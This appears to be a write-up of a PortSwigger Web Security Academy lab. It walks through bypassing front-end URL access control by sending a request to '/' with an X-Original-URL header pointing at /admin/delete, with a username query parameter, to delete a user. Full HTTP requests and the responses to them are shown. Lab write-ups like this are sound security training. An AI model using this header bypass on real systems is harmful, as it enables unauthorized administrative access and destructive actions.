Skip to content
Field Details
Platform PortSwigger Web Security Academy
Type Access Control (Platform Misconfiguration, X-Original-URL Bypass)
Difficulty Practitioner
Objective Access the admin panel and delete the user carlos

URL-Based Access Control Can Be Circumvented

X-Original-URL is used to preserve the original URL requested by the client, particularly when a proxy or middleware modifies or rewrites the URL before it reaches the back-end. Going to /admin:

Screenshot

Access denied — a front-end is blocking this path. Intercepting the request, there's no X-Original-URL header present at all.

Screenshot

Adding the header manually:

GET /admin HTTP/2
Host: 0a0a003a041405d080ef8fb600010086.web-security-academy.net
Cookie: session=Dhrh2g9J1hLS8tLWl8lBqObQe2ptW6PC
X-Original-Url: /teto
Screenshot

Still 403 — the front-end is blocking the actual request path /admin regardless of the header. Switching the request line to root while keeping the header:

GET / HTTP/2
Host: 0a0a003a041405d080ef8fb600010086.web-security-academy.net
Cookie: session=Dhrh2g9J1hLS8tLWl8lBqObQe2ptW6PC
X-Original-Url: /teto
Screenshot

This gives a 404 — the front-end now lets the request through (since / isn't blocked), and the back-end is processing X-Original-URL: /teto as the actual path, which doesn't exist. Pointing X-Original-URL at /admin:

GET / HTTP/2
Host: 0a0a003a041405d080ef8fb600010086.web-security-academy.net
Cookie: session=Dhrh2g9J1hLS8tLWl8lBqObQe2ptW6PC
X-Original-Url: /admin
Screenshot

200 OK — the admin panel renders. The front-end only checked the literal request-line path (/), while the back-end routes based on X-Original-URL (/admin).

Trying the delete endpoint directly via the header:

GET / HTTP/2
Host: 0a0a003a041405d080ef8fb600010086.web-security-academy.net
Cookie: session=Dhrh2g9J1hLS8tLWl8lBqObQe2ptW6PC
X-Original-Url: /admin/delete?username=carlos
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 30

"Missing parameter 'username'"
Screenshot

The query string in X-Original-URL isn't being picked up as the username parameter. Moving the query string to the actual request line instead, keeping just the path in the header:

GET /?username=carlos HTTP/2
Host: 0a0a003a041405d080ef8fb600010086.web-security-academy.net
Cookie: session=Dhrh2g9J1hLS8tLWl8lBqObQe2ptW6PC
X-Original-Url: /admin/delete

This returns a 302 redirect. Following it shows "access denied" on the redirect target itself.

Screenshot

But the delete already went through

Screenshot

Carlos is deleted and the lab solved

Dead Ends & Rabbit Holes

  • Putting the full path-plus-query (/admin/delete?username=carlos) into X-Original-URL gives "Missing parameter 'username'" — the back-end appears to parse the path and query string from different sources (header for path, actual request line for query params), so splitting them across the two is what's needed.

Resources